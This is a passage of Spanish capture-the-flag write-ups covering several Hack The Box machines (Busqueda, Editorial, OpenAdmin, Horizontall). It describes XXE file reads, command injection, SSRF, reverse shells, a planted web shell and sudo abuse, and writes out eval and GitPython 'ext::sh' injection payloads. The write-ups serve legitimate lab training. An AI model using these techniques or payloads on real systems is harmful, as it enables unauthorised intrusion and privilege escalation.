Este script construye automáticamente la solicitud a la aplicación web, inyecta una estructura XML con XXE, recupera la respuesta en Base64 y la decodifica para mostrar el contenido del archivo objetivo de forma legible.

Ejecutamos el script con el objetivo de obtener el contenido del archivo /etc/passwd y verificar que la herramienta funcione correctamente. Al ejecutar el comando, confirmamos que el script devuelve con éxito el contenido del archivo, lo que demuestra que, al proporcionar la ruta de cualquier archivo, el proceso se realiza automáticamente y obtenemos el resultado esperado.

En el resultado obtenido, comprobamos la existencia de un usuario llamado developer que dispone de bash.

Ahora que tenemos la capacidad de leer archivos PHP a través de XXE combinado con el wrapper PHP en Base64 gracias al script que hemos implementado, podemos automatizar la lectura de archivos sensibles en la aplicación. En la enumeración de la página web, recordamos que, al usar herramientas como Gobuster, encontramos una página llamada db.php. Este archivo podría contener información valiosa, como la configuración de la base de datos o incluso las credenciales de acceso.

Al ejecutar el script sobre db.php, efectivamente hemos obtenido el siguiente contenido, que incluye las credenciales de la base de datos:

Probamos de autenticarnos al SSH con estas credenciales y con el usuario development que encontramos en el archivo /etc/passwd que disponía de bash para comprobar si esta contraseña es reutilizada o no.

Finalmente logramos obtener acceso al sistema y logramos visualizar la flag user.txt.

Privilege Escalation

Abusing sudoers privilege

Revisando si el usuario developer disponía de algún permiso de sudoers, nos encontramos que puede ejecutar como sudo sin proporcionar credenciales un script de Python ubicado en /opt/skytrain_inc/tickerValidator.py.

Al acceder al directorio /opt/skytrain_inc nos encontramos con un directorio llamado invalid_tickets en el cual contenía diferentes archivos con extensión .md (Markdown). Comprobamos el contenido de uno de ellos el cual contiene una estructura de Markdown con lo que parece ser un ticket con una estructura personalizada.

Este script valida un archivo de ticket de Skytrain Inc verificando ciertas condiciones en su contenido.

Carga del archivo: El script abre un archivo especificado por el usuario si tiene la extensión .md. Si el archivo no es un archivo Markdown, muestra un mensaje de error y termina la ejecución.
Evaluación del ticket: El script analiza el contenido del archivo en busca de ciertas líneas:
- La primera línea debe comenzar con # Skytrain Inc

En resumen, el script valida un archivo de ticket basado en un formato específico de texto y reglas de validación predefinidas.

El script utiliza la función eval para evaluar una expresión dentro de un ticket.

Este uso de eval permite la ejecución de código arbitrario en el sistema si el contenido del ticket incluye una expresión que pueda ser evaluada, lo cual es un vector de vulnerabilidad. En este caso, si el ticket incluye una instrucción maliciosa como la que veremos en el siguiente ejemplo, eval ejecutará esa instrucción, permitiendo potencialmente la ejecución de código no deseado en el servidor.

Aquí se muestra un ticket que explota la vulnerabilidad del script al permitir la ejecución de código arbitrario. Un ticket malicioso podría tener el siguiente formato.

En este ejemplo, el ticket contiene una expresión en la línea Ticket Code que, al ser evaluada, no solo realiza una operación matemática, sino que además ejecuta el comando os.system('id'), lo que puede permitir ejecutar comandos arbitrarios en el sistema vulnerable.

Cuando el script evalúa la expresión del ticket que contiene código malicioso, la instrucción eval no sanitiza el contenido, por lo que el comando __import__('os').system('id') se ejecutará. Este código malicioso ejecuta el comando id en el sistema, lo que devolverá información sobre el usuario actual. La ejecución de este código en el script tendría el siguiente resultado.

El comando id es ejecutado en el sistema, lo que potencialmente compromete la seguridad del entorno. En un escenario real, un atacante podría utilizar esta vulnerabilidad para ejecutar comandos maliciosos en el servidor donde se ejecuta el script.

Al ejecutar el archivo gzzcoo.md con el script ticketValidator.py, el sistema evalúa el código del ticket que contiene la expresión 31+410+86. Al ejecutar el script, muestra la siguiente salida.

En este caso, el código del ticket no pasa la validación, ya que el resultado de la operación 31 + 410 + 86 no cumple con los requisitos para ser considerado válido, lo que lleva a que el script devuelva el mensaje "Invalid ticket".

En el archivo gzzcoo.md que se presenta a continuación, intentamos explotar la vulnerabilidad en la función eval del script ticketValidator.py. Al introducir una expresión maliciosa como parte del código del ticket, podemos ejecutar comandos arbitrarios en el sistema.

Aquí, hemos modificado el Ticket Code para incluir un comando Python que invoca la función os.system('id'), lo cual ejecuta el comando id en el sistema operativo. Esta es una forma de aprovechar la vulnerabilidad en el uso de eval que no sanitiza la entrada.

Al ejecutar el script ticketValidator.py con un archivo de ticket malicioso, observamos que se ejecuta el comando id a través de la vulnerabilidad en la función eval. El resultado muestra que, aunque el script indica "Invalid ticket", el comando id sigue ejecutándose, revelando que el sistema está corriendo con privilegios de root.

Dado que tenemos permisos de sudoers, y en el punto anterior comprobamos que el resultado del comando id era root, si conseguimos ejecutar la reverse shell, obtendremos una shell como el usuario root. Esto se debe a que el script ticketValidator.py se ejecuta con privilegios de root, lo que nos permite ejecutar comandos con estos privilegios sin restricciones. Así, al inyectar el comando de la reverse shell en el ticket, la ejecución nos otorgará acceso a la máquina como root.

Nos ponemos en escucha ocn nc para recibir la conexión de la Reverse Shell.

Ejecutaremos el script como sudo ya que disponemso de permisos de sudoers para ejecutar el script como sudo. Indicaremos la ruta de nuestro archivo gzzcoo.md el cual contiene la inyección para vulnerar la función eval del script tal y como comentamos anteriormente.

Comprobamos que recibimos la Reverse Shell como el usuario root y logramos visualizar finalmente la flag root.txt.

Busqueda

Busqueda es una máquina Linux de dificultad fácil que implica explotar una vulnerabilidad de inyección de comandos presente en un módulo Python. Al aprovechar esta vulnerabilidad, obtenemos acceso a nivel de usuario a la máquina. Para escalar privilegios a root, descubrimos credenciales dentro de un archivo de configuración Git, lo que nos permite iniciar sesión en un servicio Gitea local. Además, descubrimos que un script de verificación del sistema puede ser ejecutado con privilegios root por un usuario específico. Al utilizar este script, enumeramos los contenedores Docker que revelan las credenciales para la cuenta Gitea del usuario administrador. Un análisis más detallado del código fuente del script de verificación del sistema en un repositorio Git revela un medio para explotar una referencia de ruta relativa, lo que nos otorga Ejecución remota de código (RCE) con privilegios root.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Busqueda. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.

Web Enumeration

Realizaremos una comprobación de las tecnologías que utiliza el sitio web.

Revisaremos las cabeceras de la página web, podemos confirmar que utiliza como servidor Werkzeug y Python.

Realizamos una enumeración de directorios y páginas web a través de feroxbuster, logramos obtener el siguiente resultado.

Accedemos a y verificaremos la siguiente página web.

Esta plataforma nos permite realizar búsquedas en múltiples motores, como Google, YouTube, DuckDuckGo y eBay, entre otros.

Además, nos ofrece la posibilidad de monitorizar menciones públicas en redes sociales y la web, facilitando el seguimiento de nuestra presencia en línea desde un panel centralizado.

Para usarla, solo necesitamos:

Seleccionar el motor de búsqueda.
Escribir nuestra consulta.
Hacer clic en "Search".

Si activamos la opción de redirección automática, seremos llevados directamente a los resultados. De lo contrario, obtendremos la URL de la búsqueda para utilizarla como queramos.

Realizaremos una búsqueda básica para ver el funcionamiento de la página web.

En el resultado obtenido, verificamos que se ha realizado la siguiente búsqueda.

Initial Access

Searchor 2.4.0 - Command Injection (CVE-2023-43364)

En la propia página web de Busqueda, nos encontramos que la página web utiliza Flask y Searchor 2.4.0.

Realizando una búsqueda por Internet de posibles vulnerabilidades sobre esta versión, nos encontramos con el siguiente CVE-2023-43364.

main.py en Searchor anterior a 2.4.2 usa eval en la entrada CLI, lo que puede provocar la ejecución inesperada de código.

Por otro lado, nos encontramos con el siguiente repositorio de GitHub que automatiza la explotación de la vulnerabilidad otorgándonos una Reverse Shell.

Nos pondremos en escucha con nc para recibir la Reverse Shell.

Realizaremos la explotación indicando el target vulnerable y nuestra dirección y puerto donde recibiremos la Reverse Shell.

Verificamos que hemos ganado el acceso correctamente al equipo.

Para realizar la explotación manual, interceptaremos con BurpSuite la solicitud de . Inyectaremos el siguiente comando, al enviar la solicitud, comprobamos en la respuesta por parte del servidor recibimos el resultado de la ejecución de comandos.

El siguiente paso, será lograr obtener una Reverse Shell. Para ello, crearemos en nuestro equipo un archivo llamado shell.sh que contiene la Reverse Shell, compartiremos el script a través de un servidor web.

Desde otra terminal nos pondremos en escucha con nc.

Realizaremos la siguiente inyección de comando para que realize la petición concURL de nuestro script shell.sh y lo ejecutará en una bash.

Verificamos que finalmente ganamos acceso al sistema con el usuariosvc y logramos comprobar la flag de user.txt.

Privilege Escalation

Information Leakage to access Gitea

Al acceder al equipo, verificamos que al revisar los permisos de sudoers nos requiere ingresar las credenciales del usuario, las cuales no disponemos actualmente. Revisamos los grupos a los que forma parte y tampoco disponemos de algún grupo que podamos abusar para escalar nuestros privilegios.

Enumerando el directorio /var/www/app nos encontramos con un repositorio de /.git en el cual contiene un archivo de configuración con lo que parecen ser credenciales de acceso del usuario cody.

Enumerando el directorio personal del usuario svc también observamos un archivo .gitconfig el cual contiene la configuración del usuario cody.

Revisaremos los puertos internos del equipo, y logramos encontrar el puerto 3000 abierto, que normalmente es utilizado para Gitea.

Realizamos una petición con cURL al servidor 127.0.0.1:3000 en el cual nos devuelve información de la página web relacionada con Gitea.

El siguiente objetivo será realizar Port Forwarding con chisel para lograr tener acceso a la página web de Gitea. Para ello, compartiremos el binario de chisel a través de un servidor web.

Desde el equipo comprometido, nos descargaremos el binario de chisel y le daremos los permisos de ejecución correspondientes.

En nuestro equipo local, configuraremos chisel para que actúe como servidor.

Desde el equipo comprometido, configuraremos chisel para que actúe como cliente de nuestro servidor y compartiremos el puerto 3000 interno a que sea el puerto 80 de nuestro equipo local.

Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.

Accederemos a y probaremos de acceder con las credenciales del usuario cody localizadas anteriormente.

Enumerando el Gitea, logramos encontrar un repositorio propio de nuestro usuario.

Revisamos el repositorio que disponemos, y comprobamos que se trata del archivo de Searchor, la página web desde la cual obtuvimos el acceso inicial al sistema.

Abusing sudoers privilege + Information Leakage in Docker Containers

Probamos de validar si las credenciales del usuario cody de Gitea servían para el usuario svc y comprobamos que son sus credenciales correctas.

Al analizar si disponíamos de privilegios de sudoers, nos encontramos que podemos ejecutar el siguiente script en /opt/scripts/system-checkup.py.

Enumeramos el directorio /opt/scripts en los cuales aparecen diversos script de Bash y Python, al intentar comprobar el contenido de estos archivos se nos indica Permission denied.

Probamos de ejecutar el script de Python como sudo y nos aparece un mensaje indicando que no disponemos del acceso para ejecutar el binario.

Al intentar poner otro valor a la hora de ejecutar el script, verificamos que nos permite ejecutar diversos comandos de Docker, como listar los contenedores en ejecución, inspeccionar y realizar un escaneo del sistema.

A través del siguiente comando, comprobaremos mediante el script system-checkup.py los contenedores de Docker en ejecución, entre los que encontramos contenedores de Gitea y MySQL.

Al intentar inspeccionar el contenedor, se nos indica el uso correcto de la herramienta, se nos requiere especificar el formato y el nombre del contenedor.

Por la estructura del comando, parece ser comandos de Docker nativos. Con lo cual, decidimos consultar la información oficial de Docker sobre el comando de docker inspect

En este caso, inspeccionamos el contenedor de Gitea para que nos muestre el resultado en formato JSON. En el resultado obtenido, nos aparecen credenciales de una base de datos llamada gitea.

Inspeccionamos el contenedor mysql para enumerar la configuración de dicho contenedor, la información era bastante amplia.

Al realizar la ejecución del último comando, se nos indicaba que había ocurrido algún error, intentamos añadir algún parámetro, etc pero obtuvimos siempre le mismo resultado.

Enumeramos la configuración de red que disponía el contenedor de mysql. En el resultado obtenido, comprobamos que el contenedor de mysql operaba a través de la IP 172.19.0.3.

Revisamos la interfaz de docker0 que tenía el equipo comprometido y verificamos que estuviese y tuviese conectividad con la que operaba el MySQL.

Probamos de acceder al MySQL del contenedor de Docker con el usuario gitea y las credenciales localizadas en la configuración del contenedor gitea a través de la dirección IP 172.19.0.3.

Logramos obtener el acceso correspondiente y enumerar las tablas, entre las cuales aparecía la tabla users.

Al enumerar los valores de la tabla users, nos encontramos con las credenciales del usuario administrator para Gitea.

Accessing on Gitea with Administrator's user

Volvimos a nuestro equipo local donde tenemos acceso al Gitea mediante Port Forwarding. Probamos de acceder con las credenciales del usuario Administrator localizadas en el punto anterior y comprobamos del acceso correspondiente. También, logramos verificar que disponíamos de un repositorio llamado scripts.

Al acceder al repositorio de scripts, logramos visualizar diferentes archivos/scripts que parecen ser los que se encontraban en /opt/scripts que inicialmente no podíamos visualizar su contenido.

El primer script que logramos visualizar es el de check-ports.py el cual después de revisarlo, no logramos sacar nada relevante.

A continuación, se muestra el contenido de full-checkup.sh.

Contenido del script install-flask.sh

Contenido del script system-checkup.py.

Relative Path Exploitation in Script

Después de una revisión exhaustiva de los scripts encontrados, nos encontramos que el script full-checkup.sh podíamos llegar a obtener acceso como root debido a una mala configuración.

En el archivo del script, se mencionaba la función full-checkup en la cual probaba de ejecutar un script llamado full-checkup.sh. De la manera que está representado este valor, no se le indica la ruta absoluta del archivo de Bash, con lo cual nos puede permitir crear un archivo con el mismo nombre que realice otra acción que deseemos. Recordemos que este script lo ejecutamos como usuario sudo, con lo cual podríamos llegar a modificar archivos, etc para lograr acceso al sistema.

Por lo tanto, decidimos de crear un archivo llamado full-checkup.sh que lo que realizaría es otorgar al binario /bin/bash permisos de SUID.

Al ejecutar el script con la función full-checkup, al disponer del script malicioso en el mismo repositorio, se nos indicó el mensaje de Done.

Revisamos los permisos de /bin/bash y comprobamos que tiene permisos de SUID. Nos aprovechamos de esto para convertirnos en usuarioroot y visualizar la flag de root.txt.

Editorial

Editorial es una máquina Linux de dificultad fácil que cuenta con una aplicación web de publicación vulnerable a Server-Side Request Forgery (SSRF). Esta vulnerabilidad se aprovecha para obtener acceso a una API interna en ejecución, que luego se aprovecha para obtener credenciales que conducen al acceso SSH a la máquina. Al enumerar el sistema, se revela además un repositorio Git que se aprovecha para revelar las credenciales de un nuevo usuario. El usuario root se puede obtener explotando CVE-2022-24439 y la configuración sudo.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Editorial. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Añadiremos en nuestro archivo /etc/hosts la siguiente entrada correspondiente.

Web Enumeration

Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.

Accederemos a y nos encontramos con la siguiente página web. Al parecer, se trata de una página de libros.

Realizaremos una enumeración de páginas y directorios de la aplicación web, en el cual se nos muestra el siguiente resultado obtenido.

Initial Access

Server Side Request Forgery (SSRF) Exploitation + Internal Port Discovery

Al acceder a nos encontramos con la siguiente página web en la cual al parecer nos permite subir nuestro propio libro para que la editorial nos lo revise.

Entre los campos que nos permite añadir o modificar, se nos indica que podemos añadir una URL de nuestra cover de nuestro libro, subir el libro y añadir la descripción correspondiente.

Lo primero se nos ocurre es en probar si la URL que podemos indicar, puede ser la de nuestro servidor web que nos montaremos a continuación. Por ello, nos levantamos a través de python un servidor web.

Ingresamos nuestra URL de nuestro servidor web que apunte a un recurso (inexistente) y al darle a la opción de Send book info no obtenemos resultado ninguno en nuestro servidor web.

Probamos de darle a la opción de Preview para verificar si a través de esta opción recibíamos algún tipo de solicitud en nuestro servidor web.

Comprobamos en nuestro servidor web que se ha recibido correctamente la solicitud por el método GET a nuestro servidor web a través de la dirección IP del servidor víctima.

Teniendo esto en cuenta, se nos pueden ocurrir probar diferentes tipos de ataque, como por ejemplo, un Server-Side Request Forgery (SSRF).

Para ello, primero interceptaremos la solicitud a través de BurpSuite al darle a la opcioón de Preview y modificaremos la URL para que apunte a un servidor web interno por el puerto 80. En la respuesta por parte del servidor, se nos proporciona un resultado, pudiendo confirmar la existencia de un posible SSRF.

El Server-Side Request Forgery (SSRF) es una vulnerabilidad de seguridad en la que un atacante puede forzar a un servidor web para que realice solicitudes HTTP en su nombre.

En un ataque de SSRF, el atacante utiliza una entrada del usuario, como una URL o un campo de formulario, para enviar una solicitud HTTP a un servidor web. El atacante manipula la solicitud para que se dirija a un servidor vulnerable o a una red interna a la que el servidor web tiene acceso.

El ataque de SSRF puede permitir al atacante acceder a información confidencial, como contraseñas, claves de API y otros datos sensibles, y también puede llegar a permitir al atacante (en función del escenario) ejecutar comandos en el servidor web o en otros servidores en la red interna.

Para realizar un escaneo de posibles puertos internos abiertos que pudieran haber en la máquina víctima, haremos uso de la herramienta de ffufpara realizar fuzzing.

Para ello, nos guardaremos el contenido de la petición que se tramita por POST en BurpSuite e indicaremos donde queremos que se aplique el fuzzing, en este caso, en donde hemos indicado la palabra FUZZ.

Realizaremos el fuzzing a través de ffuf sobre la URL indicada pasándole nuestro archivo de la petición que disponemos para que realice el fuzzing e indicaremos también que realice una secuencia entre el 0 y 65365 que son el nº de puertos existentes.

En el resultado obtenido, comprobamos que nos aparece que ha encontrado el puerto 5000.

Al revisar manualmente con BurpSuite sobre el SSRF sobre la dirección , también nos devuelve una información.

API Enumeration trough SSRF

Realizaremos un cURL sobre el resultado anteriormente obtenido. En el resultado que se nos muestra, nos aparece la existencia de una API con diferentes endpoints.

Realizaremos una enumeración a través del SSRF en combinación con la API para comprobar los diferentes endpoints.

En este caso, el endpoint que probamos es /api/latest/metadata/messages/authors que según comprobamos anteriormente, se almacenan los mensajes enviados a los nuevos autores. En el resultado obtenido en la respuesta del servidor, obtenemos el siguiente resultado.

Realizamos un cURL sobre el resultado obtenido en la respuesta por parte del servidor y comprobamos el siguiente contenido. En el resultado obtenido se comprueba que se nos proporcionan credenciales de acceso al sistema.

Probamos de autenticarnos con estas credenciales obtenidas al equipo a través de SSHy logramos obtener acceso. Por otro lado, también conseguimos obtener la flag de user.txt.

Pivoting to user prod

Private Github Project Enumeration + Information Leakage

Revisamos si el usuario dev disponía de algún permiso de sudoers, pero no era el caso, y tampoco formaba parte de ningún grupo interesante. Por otro lado, también comprobamos los usuarios que disponían de una bash, entre los que encontramos que existía un usuario llamado prod, con lo cual nos hizo pensar que quizás antes de realizar la escalada al usuario root, debíamos pivotar al usuario prod.

Por lo tanto, decidimos realizar una enumeración más exhausta del sistema, explorando archivos, directorios, etc.

Enumerando el directorio /opt/internal_apps nos encontramos con diferentes directorios entre los cuales con el usuario dev no disponíamos del acceso.

Realizando una enumeración en el directorio /home/dev/apps nos encontramos con un directorio privado de .git en el cual al realizar un git status se nos mostró el siguiente resultado.

A través del comando git log, revisaremos los logs de los diferentes commit que se han ido realizando.

Para obtener la misma información, pero más resumida en una única línea, haremos uso del siguiente comando.

Mediante el comando de git diff comprobaremos diferencias entre los diferentes commits que existen. En la compración entre los siguientes commits, comprobamos que aparecen las credenciales del usuario dev y el usuario prod.

Verificamos si las credenciales del usuario prod son válidas para autenticarse al SSHdel equipo víctima. Finalmente comprobamos el acceso al sistema con el usuario prod logrando correctamente realizar el pivoting.

Privilege Escalation

Abusing sudoers privilege

Revisando los permisos de sudoers para comprobar si el usuario prod disponía de alguno, nos encontramos con el siguiente resultado. Al parecer, podemos ejecutar como el usuario root un script de Python3 ubicado en /opt/internal_apps/clone_changes/clone_prod_change.py.

El script clone_prod_change.py está escrito en Python y utiliza la librería GitPython para clonar un repositorio desde una URL proporcionada como argumento. A continuación, desglosamos su funcionamiento:

Importación de módulos: Se importan las librerías os, sys y git (de GitPython), lo que indica que el script interactúa con Git y el sistema de archivos.
Cambio de directorio: Se cambia el directorio de trabajo a /opt/internal_apps/clone_changes, lo que sugiere que todas las operaciones se realizarán en esta ruta.

GitPython 3.1.29 Exploitation - Remote Code Execution [RCE] (CVE-2022-24439)

Revisamos la versión exacta de la libreria de gitpython que se está utilizando en el script y nos encontramos con la versión 3.1.29.

Realizando una búsqueda por Internet, nos encontramos con la siguiente vulnerabilidad de GitPython 3.1.29 reportada como CVE-2022-24439.

Todas las versiones del paquete gitpython son vulnerables a la ejecución remota de código (RCE) debido a una validación incorrecta de la entrada del usuario, lo que hace posible inyectar una URL remota creada con fines malintencionados en el comando de clonación. Es posible explotar esta vulnerabilidad porque la librería realiza llamadas externas a git sin una sanitización suficiente de los argumentos de entrada.

Por otro lado, nos encontramos con el siguiente blog el cual nos muestran cómo poder realizar la explotación correctamente. En nuestra primera prueba, lo que realizamos es realizar la ejecución del script como sudo y le indicamos 'ext::sh -c touch% /tmp/pwned' que sería la inyección a realizar. En este caso, al realizar la ejecución del script con el payload malicioso, se comprueba que se ha creado correctamente el archivo /tmp/pwned y el propietario es root. Con lo cual, hemos confirmado la existencia de un Remote Code Execution que es ejecutado con el usuario root.

Por lo tanto, realizaremos el siguiente script en Bash que lo que realizará es proporcionar permisos de SUIDal binario /bin/bash. Creamos el archivo, le damos los permisos de ejecución correspondientes.

Verificamos que antes de realizar la ejecución de la vulnerabilidad, el binario /bin/bashno dispone de permisos de SUID. Una vez verificado, realizamos la ejecución del script inyectándole nuestro payload malicioso 'ext::sh -c /tmp/exploit.sh' para que ejecute el script que hemos creado en el punto anterior.

Al ejecutar el script, verificamos que el binario /bin/bash dispone de permisos de SUID, con lo cual, a través del parámetro -p podemos convertirnos en el propietario del binario que en este caso es root.

Comprobamos el acceso como el usuario rooty la visualización de la flag root.txt.

OpenAdmin

OpenAdmin es una máquina Linux de dificultad fácil que cuenta con una instancia de CMS OpenNetAdmin obsoleta. El CMS se explota para obtener un punto de apoyo y la enumeración posterior revela credenciales de la base de datos. Estas credenciales se reutilizan para pasar de forma lateral a un usuario con pocos privilegios. Se descubre que este usuario tiene acceso a una aplicación interna restringida. El examen de esta aplicación revela credenciales que se utilizan para pasar de forma lateral a un segundo usuario. Luego se explota una configuración incorrecta de sudo para obtener un shell de root.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina OpenAdmin. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Web Enumeration

Accederemos a y nos encontraremos con la página por defecto que viene predeterminada con Apache.

Realizaremos una enumeración de directorios de la página web a través de la herramienta de gobuster. En el resultado obtenido, logramos encontrar 3 directorios de la página web.

Accederemos a los diferentes directorios (/music, /artwork y /sierra) y nos encontraremos con las siguientes páginas web.

Initial Foothold

OpenNetAdmin v18.1.1 Exploitation - Remote Code Execution

Después de revisar en las diferentes páginas, nos encontramos en que la página web ubicada en dispone de una página de Loginla cual nos redirige a .

Antes de acceder a esta nueva página, realizaremos a través de la herramienta de whatweb un reconocimiento inicial de las tecnologías que utiliza la aplicación web.

Al acceder a nos encontramos con la siguiente página web de OpenNetAdmin. Nos encontramos con una sesión de guest iniciada y también comprobamos que dispone de una versión v18.1.1.

OpenNetAdmin proporciona un inventario de su red IP administrado por base de datos . Cada subred, host e IP se puede rastrear a través de una interfaz web centralizada habilitada para AJAX que puede ayudar a reducir los errores de rastreo. También está disponible una interfaz CLI completa para usarla en scripts y trabajos masivos.

Realizaremos una búsqueda de vulnerabilidades conocidas de OpenNetAdmin a través de la herramienta de searchsploit. En el resultado obtenido, comprobamos que la aplicación es vulnerable a Command Injectiony Remote Code Execution.

Realizaremos la misma búsqueda por Internet y también logramos encontrar vulnerabilidades para esta versión.

El exploit que hemos encontrado para lograr explotar la vulnerabilidad es la siguiente, realiza una solicitud mediante cURL en el cual a través de una serie de datos podemos conseguir una ejecución de comandos remotos RCE.

Explotación manual

Realizamos la explotación de la vulnerabilidad manualmente a través de cURL y comprobamos que al intentar ejecutar el comando id, en el resultado que se nos muestra confirmamos el output de la ejecución de comandos.

El siguiente paso será lograr obtener una Reverse Shell para lograr conectarnos a la máquina vulnerable. Para ello, nos pondremos en escucha para recibir la Reverse Shell.

A través del siguiente comando, lograremos explotar la vulnerabilidad presente en OpenNetAdmin indicándole que ejecute una Reverse Shell hacia nuestro equipo.

Verificamos que finalmente logramos obtener acceso a la máquina victima con el usuariowww-data.

Explotación automatizada

Por otro lado, también podemos hacer la explotación a través del siguiente exploit que nos hemos encontrado en GitHub el cual realiza la explotación de la vulnerabilidad de manera más automatizada.

Nos volveremos a poner en escucha con nc para recibir la Reverse Shell.

Ejecutaremos el exploit indicándole la URL Target donde se encuentra el OpenNetAdmin y le indicaremos que ejecute una Reverse Shell.

Comprobamos que finalmente logramos obtener acceso al sistema a través de la Reverse Shell. Al recibir la RevShell, realizaremos el tratamiento básico para lograr obtener una TTY totalmente interactiva.

Pivoting as jimmy user

Information Leakage

Revisando el directorio donde nos encontramos, verificamos un archivo llamado database_settings.inc.php de configuración de la base de datos. En dicho archivo, logramos obtener una contraseña en texto plano.

Trying access on SSH with recently found password

Probamos de comprobar si estas credenciales se reutilizan para el usuario jimmyque hemos encontrado que dispone de bash (comprobado desde el archivo /etc/passwd).

Initial Access

Internal Website found

Revisando los archivos de configuración de Apache, nos encontramos habilitado una página web interna en el puerto 52846 la cual se llama internal.openadmin.htb y tiene asignado el AssignUserIDcomo joanna. Lo cual nos sugiere que quizás joanna levante este servicio.

Port Forwarding with Chisel

Desde nuestro equipo atacante, dispondremos del binario de chisel el cual compartiremos a través de un servidor web con Python.

En la máquina víctima, nos descargaremos el binario compartido y le daremos los permisos de ejecución correspondientes.

En nuestra máquina atacante, configuraremos el chiselpara que actúe como servidor a través del puerto 1234.

A través de la máquina vícitma, indicaremos a chisel que actúe como cliente y se conecte a nuestro equipo realizando un Port Forwarding del puerto interno de la página web encontrada hacia nuestro equipo.

Desde nuestro navegador accederemos a y comprobaremos el siguiente contenido de la página web.

Gaining Access via Webshell in a Writable Web Directory

A través del usuario jimmy, comprobamos que disponemos de permisos de escritura en el directorio /var/www/internal en el cual se está levantando esta página web interna. Por lo tanto, lo que decidimos probar es en crear un archivo llamado gzzcoo.php el cual se trate de una simple web shell para utilizarla y lograr ejecutar comandos.

Desde nuestra máquina atacante, realizaremos la comprobación de ejecución de comandos. En nuestra primera prueba, indicamos que ejecute el comando id, confirmando que la usuaria joanna ees la que ejecuta este servidor web y hemos sido capaces de ejecutar comandos remotod.s

Nos pondremos en escucha con nc para recibir la Reverse Shell.

Codificaremos en URL Encode la sintaxis de la Reverse Shell y utilizaremos la herramienta de cURLpara que realice la petición hacia nuestra web shelly logre ejecutar la Reverse Shell.

Comprobamos que disponemos de acceso al sistema con el usuario joanna y logramos visualizar finalmente la flag user.txt.

Realizaremos un tratamiento de la terminal para poder obtener una TTY totalmente interactiva.

Privilege Escalation

Abusing Sudoers Privilege (nano)

Al revisar si el usuario joanna dispone de algún permiso de sudoers, nos mostraba el siguiente mensaje de error.

Según , este mensaje se puede deber a estos motivos.

Posibles causas:

Por lo tanto, lo que decidimos es en subir nuestra clave pública en las claves autorizadas SSH del usuariojoanna. Para ello, nos crearemos unas claves SSH en nuestro equipo de atacante y copiaremos el contenido de la clave pública generada.

Escribiremos en el archivo /home/joanna/.ssh/authorized_keys nuestra clave pública SSH para ganar acceso al equipo como el usuario joanna mediante SSH sin proporcionar credenciales.

Probamos de autenticarnos con el usuario joanna conectándonos mediante SSH al equipo, finalmente logramos el acceso correctamente. Ejecutaremos un export TERM=xterm para poder realizar Ctrl+L.

Ahora si ejecutamos sudo -l, ya no nos muestra el mensaje de error que vimos anteriormente. Al comprobar si este usuario dispone depermisos de sudoers, nos encontramos que el usuario puede ejecutar como sudo sin proporcionar credenciales el binario/bin/nano sobre el archivo ubicado en /opt/priv.

En informática, nano (oficialmente GNU nano) es un editor de texto para sistemas Unix basado en curses. Es un clon de Pico, el editor del cliente de correo electrónico Pine. nano trata de emular la funcionalidad y la interfaz de fácil manejo de Pico, pero sin la integración con Pine.

A través de la herramienta de nos encontramos la manera de explotar este binario como sudo y lograr obtener una Shell como usuario root.

Ejecutaremos el comando sudo /bin/nano /opt/priv para editar el archivo con permisos de sudo.

Una vez estemos dentro del archivo con el editor nano, para poder obtener una shell como root, deberemos de presionar Ctrl+R para acceder al apartado de Read file.

Una vez estemos en el modo de Read File, presionaremos la combinación de Ctrl+X para acceder a la opción de Execute Command.

Al seleccionar esta nueva opción, comprobamos que nos permite realizar una ejecución de comandos. Esto es debido que nano tiene implementado una manera para lograr ejecutar un comando en el sistema y que el output del resultado del comando se almacene en nuestro archivo en el que nos encontramos trabajando.

Teniendo esto en cuenta, podemos aprovecharnos de esto para ganar acceso a una shell a través del siguiente comando.

Verificamos que por detrás de nano, se nos ha abierto una shell en la cual podemos ejecutar comandos. Ejecutaremos /bin/bashpara obtener una bash. Finalmente logramos visualizar la flag root.txt.

Horizontall

Horizontall es una máquina Linux de dificultad fácil donde solo se exponen los servicios HTTP y SSH. La enumeración del sitio web revela que está construido utilizando el marco Vue JS. Al revisar el código fuente del archivo Javascript, se descubre un nuevo host virtual. Este host contiene el Strapi Headless CMS que es vulnerable a dos CVE que permiten a los atacantes potenciales obtener ejecución de código remoto en el sistema como el usuario strapi. Luego, después de enumerar los servicios que escuchan solo en localhost en la máquina remota, se descubre una instancia de Laravel. Para acceder al puerto en el que Laravel está escuchando, se utiliza el túnel SSH. El marco Laravel instalado está desactualizado y se ejecuta en modo de depuración. Se puede explotar otro CVE para obtener ejecución de código remoto a través de Laravel como root.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Horizontall. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.

Web Enumeration

Realizaremos una comprobación de las tecnologías que utiliza el sitio web.

Accederemos a y nos encontramos con la siguiente página web. Aparentemente, no obtenemos ningún dato interesante en el contenido principal de la página web.

Realizaremos una enumeración de posibles subdominios de la página web, pero no logramos obtener resultado alguno.

A través de la herramienta de feroxbuster, realizaremos una enumeración de directorios y subdominios de la página web. En el resultado obtenido, se nos muestran solamente archivos de JavaScript.

